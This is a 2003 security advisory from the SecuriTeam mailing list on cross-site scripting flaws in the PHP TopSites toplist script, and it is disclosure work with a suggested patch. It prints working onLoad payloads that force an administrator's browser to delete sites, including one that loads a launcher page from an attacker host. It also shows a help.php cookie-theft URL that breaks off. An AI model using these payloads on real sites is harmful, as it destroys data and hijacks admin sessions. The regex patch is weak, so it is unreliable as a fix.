[UNIX] Multiple Vulnerabilities Found in PHP "Topsites"
From: support@securiteam.com
Date: 01/21/03
- Previous message: support@securiteam.com: "[UNIX] The First VIM Worm"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
From: support@securiteam.com To: list@securiteam.com Date: 21 Jan 2003 18:00:55 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
Beyond Security would like to welcome Tiscali World Online
to our service provider team.
For more info on their service offering IP-Secure,
please visit http://www.worldonline.co.za/services/work_ip.asp
- - - - - - - - -
Multiple Vulnerabilities Found in PHP "Topsites"
------------------------------------------------------------------------
SUMMARY
<http://www.itop10.net/products/> PHP TopSites is a PHP/MySQL-based
customizable TopList script. Main features include: Easy configuration
config file; MySQL database backend; unlimited categories, Site rating on
incoming votes; Special Rating from Webmaster; anti-cheating gateway;
Random link; Lost password function; Webmaster Site-approval; Edit site;
ProcessingTime display; Cookies Anti- Cheating; Site Reviews; Linux Cron
Free; Frame Protection and much more.
Multiple security vulnerabilities have been found in the product and they
are listed below.
DETAILS
Critical XSS Vulnerability in all versions of PHP TopSites
Script:
* Add.php
Because PHP TopSites does not have session authentication, it allows an
attacker to use an XSS vulnerability to do things like delete, edit, and
change user accounts by having an unknowingly admin run the code. Further,
by putting is in the description field (while adding a new website), it
would be almost impossible for any admin not to run the code.
The following code is executed when the admin loads the page. He doesn't
have to do anything but load the page.
Examples:
<body onLoad=
"parent.location='http://www.somewebsite.com/TopSitesdirectory/seditor.php?sid=siteidnumber&a=delete
This code will effectively delete the user account with the site id number
as soon as the admin loads the page.
<body onLoad="window.open('http://attackerswebsite/launcher.htm')">
Using this code, an attacker can open a popup window to a page on his site
that contains code of several more popup windows. Each window can be used
to delete a site from the PHP TopSites database. By utilizing this method
you can completely clear the TopSites database.
Patch:
To fix this vulnerability open add.php and find:
if (!$name) { $err.= "Please enter your name.<BR>"; }
if (!$passw) { $err.= "Please enter password.<BR>"; }
if (!$email) { $err.= "Please enter your email address.<BR>"; }
if (!$title) { $err.= "Please enter site title.<BR>"; }
if (!$url) { $err.= "Please enter site url.<BR>"; }
if (!$banner_w) { $err.= "Please enter banner width.<BR>"; }
if (!$banner_h) { $err.= "Please enter banner height.<BR>"; }
if (!$description) { $err.= "Please enter site description.<BR>"; }
if (!$category) { $err.= "Please enter site category.<BR>"; }
if (check_email_addr($email) == 0) { $err.= "Please enter valid email
address.<BR>"; }
Replace it with:
///////////////////////////////////////////////////////////////////////////
// Critical XSS Vuln Fix By JeiAr = (jeiar@kmfms.com) January 12 2003 -
All Versions PHP Topsites //
///////////////////////////////////////////////////////////////////////////
if (ereg('[-!#$%&\'*+\\.><=?^_`{|}]$', $name)) {$err.= "Please enter A
valid Name.<BR>";}
if (ereg('[-!#$%&\'*+\\.><=?^_`{|}]$', $passw)) {$err.= "Please enter A
valid Password<BR>";}
if (ereg('[-!#$%&\'*+\\.><=?^_`{|}]$', $title)) {$err.= "Please enter A
valid Title<BR>";}
if (ereg('[-!#$%&\'*+\\.><=?^_`{|}]$', $linkback)) {$err.= "Please enter A
valid Linkback<BR>";}
if (ereg('[-!#$%&\'*+\\.><=?^_`{|}]$', $url)) {$err.= "Please enter A
valid URL<BR>";}
if (ereg('[-!#$%&\'*+\\.><=?^_`{|}]$', $banner_url)) {$err.= "Please enter
A valid Banner URL<BR>";}
if (ereg('[-!#$%&\'*+\\.><=?^_`{|}]$', $banner_w)) {$err.= "Please enter A
valid Banner Width<BR>";}
if (ereg('[-!#$%&\'*+\\.><=?^_`{|}]$', $banner_h)) {$err.= "Please enter A
valid Banner Height<BR>";}
if (ereg('[-!#$%&\'*+\\.><=?^_`{|}]$', $description)) {$err.= "Please
enter A valid Description<BR>";}
if (ereg('[-!#$%&\'*+\\.><=?^_`{|}]$', $category)) {$err.= "Please enter A
valid Category<BR>";}
///////////////////////////////////////////////////////////////////////////
XSS Vulnerability in all versions of PHP TopSites
Script:
* help.php
Because PHP TopSites does not have session authentication, it allows an
attacker to use an XSS vulnerability steal cookies or other user-supplied
information. The following example illustrates the vulnerability found in
help.php.
Example:
http://somewebsitesite/TopSitesdirectory/help.php?sid=